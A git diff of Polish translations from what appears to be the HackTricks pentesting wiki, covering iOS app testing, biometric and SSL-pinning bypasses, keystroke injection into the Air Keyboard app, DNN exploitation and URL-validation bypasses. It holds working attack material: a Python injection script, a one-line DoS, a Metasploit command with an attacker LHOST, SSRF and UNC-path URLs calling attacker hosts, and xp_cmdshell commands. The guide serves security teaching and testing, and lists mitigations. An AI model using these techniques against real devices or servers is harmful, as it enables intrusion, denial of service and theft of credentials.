Przeglądając kod źródłowy aplikacji w poszukiwaniu potencjalnych wycieków, zwróć uwagę zarówno na **zdefiniowane**, jak i **niestandardowe instrukcje logowania** używając słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla funkcji wbudowanych oraz wszelkich wzmiankach o `Logging` lub `Logfile` dla niestandardowych implementacji.
|
||||||
|
|
||||||
### **Monitorowanie logów systemowych**
|
### **Monitorowanie logów systemowych**
|
||||||
|
|
||||||
@ -646,11 +646,11 @@ Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych podno
|
|||||||
|
|
||||||
### Wykluczanie plików z kopii zapasowych
|
### Wykluczanie plików z kopii zapasowych
|
||||||
|
|
||||||
Pliki w `Documents/` i `Library/Application Support/` są domyślnie kopiowane. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z kluczem `NSURLIsExcludedFromBackupKey`. Praktyka ta jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych.
|
Pliki w `Documents/` i `Library/Application Support/` są domyślnie tworzone w kopiach zapasowych. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z `NSURLIsExcludedFromBackupKey`. Praktyka ta jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych.
|
||||||
|
|
||||||
### Testowanie pod kątem podatności
|
### Testowanie pod kątem podatności
|
||||||
|
|
||||||
Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmienione, aby wpłynąć na zachowanie aplikacji.
|
Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmieniane, aby wpłynąć na zachowanie aplikacji.
|
||||||
|
|
||||||
Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych obecność szyfrowania można potwierdzić, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w katalogu głównym kopii zapasowej.
|
Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych obecność szyfrowania można potwierdzić, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w katalogu głównym kopii zapasowej.
|
||||||
```xml
|
```xml
|
||||||
@ -665,7 +665,7 @@ Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lu
|
|||||||
...
|
...
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, przydatne mogą być skrypty Pythona dostępne w [repozytorium GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, chociaż mogą wymagać dostosowań w celu zapewnienia zgodności z najnowszymi wersjami iTunes/Finder. Narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/) to kolejna opcja do uzyskiwania dostępu do plików w zabezpieczonych hasłem kopiach zapasowych.
|
Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, przydatne mogą być skrypty Pythona dostępne w [repozytorium GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, chociaż mogą wymagać dostosowania do najnowszych wersji iTunes/Finder. Narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/) to kolejna opcja do uzyskiwania dostępu do plików w zabezpieczonych hasłem kopiach zapasowych.
|
||||||
|
|
||||||
### Modyfikowanie zachowania aplikacji
|
### Modyfikowanie zachowania aplikacji
|
||||||
|
|
||||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
|||||||
```
|
```
|
||||||
## **Analiza pamięci w czasie rzeczywistym**
|
## **Analiza pamięci w czasie rzeczywistym**
|
||||||
|
|
||||||
**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
|
**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby posiadania zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
|
||||||
```bash
|
```bash
|
||||||
$ r2 frida://usb//<name_of_your_app>
|
$ r2 frida://usb//<name_of_your_app>
|
||||||
[0x00000000]> /\ <search_command>
|
[0x00000000]> /\ <search_command>
|
||||||
@ -745,7 +745,7 @@ Sukces uwierzytelnienia jest wskazywany przez wartość boolean zwracaną z **`e
|
|||||||
|
|
||||||
### Uwierzytelnianie lokalne z użyciem Keychain
|
### Uwierzytelnianie lokalne z użyciem Keychain
|
||||||
|
|
||||||
Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **API keychain** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia biometrycznego, takiego jak Touch ID.
|
Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **keychain APIs** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia biometrycznego, takiego jak Touch ID.
|
||||||
|
|
||||||
Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.
|
Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.
|
||||||
|
|
||||||
@ -887,13 +887,13 @@ Jeśli `LocalAuthentication.framework` jest używany w aplikacji, wynik będzie
|
|||||||
```
|
```
|
||||||
Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony.
|
Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony.
|
||||||
|
|
||||||
### Ominięcie lokalnego uwierzytelniania
|
### Ominięcie Ramy Uwierzytelniania Lokalnego
|
||||||
|
|
||||||
#### **Objection**
|
#### **Objection**
|
||||||
|
|
||||||
Dzięki **Objection Biometrics Bypass**, znajdującemu się na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostępna jest technika umożliwiająca pokonanie mechanizmu **LocalAuthentication**. Sedno tego podejścia polega na wykorzystaniu **Frida** do manipulacji funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca wynik `True`, niezależnie od rzeczywistego sukcesu uwierzytelnienia. Jest to szczególnie przydatne do omijania wadliwych procesów uwierzytelniania biometrycznego.
|
Dzięki **Objection Biometrics Bypass**, znajdującemu się na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostępna jest technika umożliwiająca pokonanie mechanizmu **LocalAuthentication**. Sedno tego podejścia polega na wykorzystaniu **Frida** do manipulacji funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca wynik `True`, niezależnie od rzeczywistego sukcesu uwierzytelnienia. Jest to szczególnie przydatne do omijania wadliwych procesów uwierzytelniania biometrycznego.
|
||||||
|
|
||||||
Aby aktywować to ominięcie, używa się następującego polecenia:
|
Aby aktywować to ominięcie, używana jest następująca komenda:
|
||||||
```bash
|
```bash
|
||||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||||||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||||||
@ -970,7 +970,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||||||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Uniwersalne linki
|
### Linki uniwersalne
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ios-universal-links.md
|
ios-universal-links.md
|
||||||
@ -1022,7 +1022,7 @@ Aby sprawdzić ten problem za pomocą Burp, po zaufaniu Burp CA na iPhonie, moż
|
|||||||
|
|
||||||
### Pinning certyfikatu
|
### Pinning certyfikatu
|
||||||
|
|
||||||
Jeśli aplikacja poprawnie używa SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat jest tym, którego się oczekuje. Podczas testowania aplikacji **może to być problem, ponieważ Burp będzie serwować swój własny certyfikat.**\
|
Jeśli aplikacja poprawnie używa SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat jest tym, którego oczekiwano. Podczas testowania aplikacji **może to być problem, ponieważ Burp będzie serwować swój własny certyfikat.**\
|
||||||
Aby obejść tę ochronę na urządzeniu z jailbreakiem, możesz zainstalować aplikację [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) lub zainstalować [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
Aby obejść tę ochronę na urządzeniu z jailbreakiem, możesz zainstalować aplikację [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) lub zainstalować [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||||
|
|
||||||
Możesz również użyć **objection's** `ios sslpinning disable`
|
Możesz również użyć **objection's** `ios sslpinning disable`
|
||||||
@ -1050,7 +1050,7 @@ Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegóło
|
|||||||
|
|
||||||
Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do niezbędnych i upewnić się, że żadne wrażliwe dane nie są ujawniane.
|
Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do niezbędnych i upewnić się, że żadne wrażliwe dane nie są ujawniane.
|
||||||
|
|
||||||
Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikacyjnych (PII).
|
Wdrożenie usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu informacji umożliwiających identyfikację osobistą (PII).
|
||||||
|
|
||||||
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
|
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
|
||||||
```bash
|
```bash
|
||||||
@ -1080,15 +1080,14 @@ air-keyboard-remote-input-injection.md
|
|||||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||||||
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||||||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS darmowy kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||||
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||||||
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||||||
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||||||
- [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
- [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||||||
- [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
- [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||||||
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version
|
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< wersja Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< wersja Swift
|
||||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -7,7 +7,7 @@
|
|||||||
Wersja iOS komercyjnej aplikacji "Air Keyboard" (ID w App Store 6463187929) otwiera **usługę TCP w czystym tekście na porcie 8888**, która akceptuje ramki naciśnięć klawiszy **bez żadnej autoryzacji**.
|
Wersja iOS komercyjnej aplikacji "Air Keyboard" (ID w App Store 6463187929) otwiera **usługę TCP w czystym tekście na porcie 8888**, która akceptuje ramki naciśnięć klawiszy **bez żadnej autoryzacji**.
|
||||||
Każde urządzenie w tej samej sieci Wi-Fi może połączyć się z tym portem i wstrzyknąć dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając **pełne przejęcie zdalnej interakcji**.
|
Każde urządzenie w tej samej sieci Wi-Fi może połączyć się z tym portem i wstrzyknąć dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając **pełne przejęcie zdalnej interakcji**.
|
||||||
|
|
||||||
Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale stworzony śmieć powoduje **nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL**, powodując awarię usługi w tle (**DoS**).
|
Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne uzgadnianie AES-ECB, ale stworzony śmieć powoduje **nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL**, powodując awarię usługi w tle (**DoS**).
|
||||||
|
|
||||||
## 1. Odkrywanie usługi
|
## 1. Odkrywanie usługi
|
||||||
|
|
||||||
@ -54,11 +54,11 @@ with socket.create_connection((target_ip, 8888)) as s:
|
|||||||
s.sendall(frame)
|
s.sendall(frame)
|
||||||
print("Injected", keystrokes)
|
print("Injected", keystrokes)
|
||||||
```
|
```
|
||||||
Każdy drukowalny ASCII (w tym `\n`, `\r`, klawisze specjalne itp.) może być wysyłany, co skutkuje przyznaniem atakującemu tej samej mocy co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp.
|
Każdy drukowalny ASCII (w tym `\n`, `\r`, klawisze specjalne itp.) może być wysyłany, co skutecznie daje atakującemu tę samą moc co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp.
|
||||||
|
|
||||||
## 4. Android Companion – Denial-of-Service
|
## 4. Android Companion – Denial-of-Service
|
||||||
|
|
||||||
Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą **hard-coded AES-128-ECB key**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
|
Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą **hard-coded AES-128-ECB key**, a następnie losowego nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||||
@ -72,7 +72,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
|||||||
|
|
||||||
* Nigdy nie udostępniaj nieautoryzowanych usług na urządzeniu mobilnym.
|
* Nigdy nie udostępniaj nieautoryzowanych usług na urządzeniu mobilnym.
|
||||||
* Wyprowadzaj sekrety specyficzne dla urządzenia podczas onboardingu i weryfikuj je przed przetwarzaniem danych wejściowych.
|
* Wyprowadzaj sekrety specyficzne dla urządzenia podczas onboardingu i weryfikuj je przed przetwarzaniem danych wejściowych.
|
||||||
* Powiąż nasłuchiwacz z `127.0.0.1` i użyj wzajemnie uwierzytelnionego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania.
|
* Powiąż nasłuchiwacz z `127.0.0.1` i użyj wzajemnie uwierzytelnianego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania.
|
||||||
* Wykrywaj niespodziewane otwarte porty podczas przeglądów bezpieczeństwa mobilnego (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
* Wykrywaj niespodziewane otwarte porty podczas przeglądów bezpieczeństwa mobilnego (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
||||||
* Jako użytkownik końcowy: odinstaluj Air Keyboard lub używaj go tylko w zaufanych, izolowanych sieciach Wi-Fi.
|
* Jako użytkownik końcowy: odinstaluj Air Keyboard lub używaj go tylko w zaufanych, izolowanych sieciach Wi-Fi.
|
||||||
|
|
||||||
|
@ -20,16 +20,16 @@ Jeśli zalogujesz się jako **administrator** w DNN, łatwo uzyskać **RCE**, je
|
|||||||
## Wykorzystanie bez autoryzacji
|
## Wykorzystanie bez autoryzacji
|
||||||
|
|
||||||
### 1. Deserializacja ciasteczek RCE (CVE-2017-9822 i kontynuacje)
|
### 1. Deserializacja ciasteczek RCE (CVE-2017-9822 i kontynuacje)
|
||||||
*Dotknięte wersje ≤ 9.3.0-RC*
|
*Wersje dotknięte ≤ 9.3.0-RC*
|
||||||
|
|
||||||
`DNNPersonalization` jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Odpowiednio skonstruowane XML może prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu.
|
`DNNPersonalization` jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Opracowane XML może zatem prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu.
|
||||||
```
|
```
|
||||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||||
msf> set RHOSTS <target>
|
msf> set RHOSTS <target>
|
||||||
msf> set LHOST <attacker_ip>
|
msf> set LHOST <attacker_ip>
|
||||||
msf> run
|
msf> run
|
||||||
```
|
```
|
||||||
Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Eksploatacja działa **bez uwierzytelnienia** w wersjach 7.x–9.1.x oraz z *zweryfikowanym* kontem o niskich uprawnieniach w wersjach 9.2.x+.
|
Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Wykorzystanie działa **bez uwierzytelnienia** w wersjach 7.x–9.1.x oraz z *zweryfikowanym* kontem o niskich uprawnieniach w wersjach 9.2.x+.
|
||||||
|
|
||||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||||
*Wersje dotknięte < 9.13.8 – Łatka wydana w kwietniu 2025*
|
*Wersje dotknięte < 9.13.8 – Łatka wydana w kwietniu 2025*
|
||||||
@ -46,18 +46,18 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
|||||||
Żądanie jest wyzwalane w tle; monitoruj swój nasłuchiwacz w poszukiwaniu wywołań zwrotnych.
|
Żądanie jest wyzwalane w tle; monitoruj swój nasłuchiwacz w poszukiwaniu wywołań zwrotnych.
|
||||||
|
|
||||||
### 3. Ekspozycja hasha NTLM za pomocą przekierowania UNC (CVE-2025-52488)
|
### 3. Ekspozycja hasha NTLM za pomocą przekierowania UNC (CVE-2025-52488)
|
||||||
*Wersje dotknięte 6.0.0 – 9.x (< 10.0.1)*
|
*Dotknięte wersje 6.0.0 – 9.x (< 10.0.1)*
|
||||||
|
|
||||||
Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą **UNC path** takiego jak `\\attacker\share\img.png`. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do **10.0.1** lub wyłącz wychodzący SMB w zaporze.
|
Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą **ścieżki UNC** takiej jak `\\attacker\share\img.png`. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do **10.0.1** lub wyłącz wychodzący SMB w zaporze.
|
||||||
|
|
||||||
### 4. Ominięcie filtra IP (CVE-2025-52487)
|
### 4. Ominięcie filtra IP (CVE-2025-52487)
|
||||||
Jeśli administratorzy polegają na *Host/IP Filters* w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed **10.0.1** mogą być ominięte poprzez manipulację `X-Forwarded-For` w scenariuszu reverse-proxy.
|
Jeśli administratorzy polegają na *Filtrach Host/IP* w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed **10.0.1** mogą być ominięte poprzez manipulację `X-Forwarded-For` w scenariuszu odwrotnego proxy.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Post-autoryzacja do RCE
|
## Post-autoryzacja do RCE
|
||||||
|
|
||||||
### Poprzez konsolę SQL
|
### Poprzez konsolę SQL
|
||||||
W **`Settings → SQL`** wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć **`xp_cmdshell`** i uruchomić polecenia:
|
W **`Ustawienia → SQL`** wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć **`xp_cmdshell`** i uruchomić polecenia:
|
||||||
```sql
|
```sql
|
||||||
EXEC sp_configure 'show advanced options', 1;
|
EXEC sp_configure 'show advanced options', 1;
|
||||||
RECONFIGURE;
|
RECONFIGURE;
|
||||||
@ -85,7 +85,7 @@ Gdy uzyskasz wykonanie kodu jako **IIS AppPool\<Site>**, stosuje się powszechne
|
|||||||
* **Upgrade** do co najmniej **9.13.9** (naprawia obejście SSRF) lub najlepiej **10.0.1** (problemy z filtrowaniem IP i NTLM).
|
* **Upgrade** do co najmniej **9.13.9** (naprawia obejście SSRF) lub najlepiej **10.0.1** (problemy z filtrowaniem IP i NTLM).
|
||||||
* Usuń pozostałe pliki **`InstallWizard.aspx*`** po instalacji.
|
* Usuń pozostałe pliki **`InstallWizard.aspx*`** po instalacji.
|
||||||
* Wyłącz wychodzący SMB (porty 445/139).
|
* Wyłącz wychodzący SMB (porty 445/139).
|
||||||
* Wymuś silne *Host Filters* na krawędzi proxy, a nie w DNN.
|
* Wymuś silne *Host Filters* na krawędzi proxy zamiast w DNN.
|
||||||
* Zablokuj dostęp do `/API/RemoteContentProxy`, jeśli nie jest używane.
|
* Zablokuj dostęp do `/API/RemoteContentProxy`, jeśli nie jest używane.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
@ -146,7 +146,7 @@ next={domain}&next=attacker.com
|
|||||||
```
|
```
|
||||||
### Paths and Extensions Bypass
|
### Paths and Extensions Bypass
|
||||||
|
|
||||||
Jeśli wymagana jest końcówka URL w postaci ścieżki lub rozszerzenia, lub musi zawierać ścieżkę, możesz spróbować jednego z następujących obejść:
|
Jeśli wymagane jest, aby URL kończył się ścieżką lub rozszerzeniem, lub musiał zawierać ścieżkę, możesz spróbować jednego z następujących obejść:
|
||||||
```
|
```
|
||||||
https://metadata/vulerable/path#/expected/path
|
https://metadata/vulerable/path#/expected/path
|
||||||
https://metadata/vulerable/path#.extension
|
https://metadata/vulerable/path#.extension
|
||||||
@ -156,18 +156,18 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||||||
|
|
||||||
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) może generować wariacje z danego wejścia, aby spróbować obejść używany regex. Sprawdź [**ten post**](https://0xacb.com/2022/11/21/recollapse/) również dla uzyskania dodatkowych informacji.
|
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) może generować wariacje z danego wejścia, aby spróbować obejść używany regex. Sprawdź [**ten post**](https://0xacb.com/2022/11/21/recollapse/) również dla uzyskania dodatkowych informacji.
|
||||||
|
|
||||||
### Automatic Custom Wordlists
|
### Automatyczne niestandardowe listy słów
|
||||||
|
|
||||||
Sprawdź [**arkusz oszustw dotyczący obejścia walidacji URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) od portswigger, gdzie możesz wprowadzić dozwolony host i atakujący, a on wygeneruje listę URL-i do przetestowania. Uwzględnia również, czy możesz użyć URL w parametrze, w nagłówku Host lub w nagłówku CORS.
|
Sprawdź [**arkusz oszustw dotyczący obejścia walidacji URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) z portswigger, gdzie możesz wprowadzić dozwolony host i atakujący, a on wygeneruje listę URL do przetestowania. Uwzględnia również, czy możesz użyć URL w parametrze, w nagłówku Host lub w nagłówku CORS.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||||
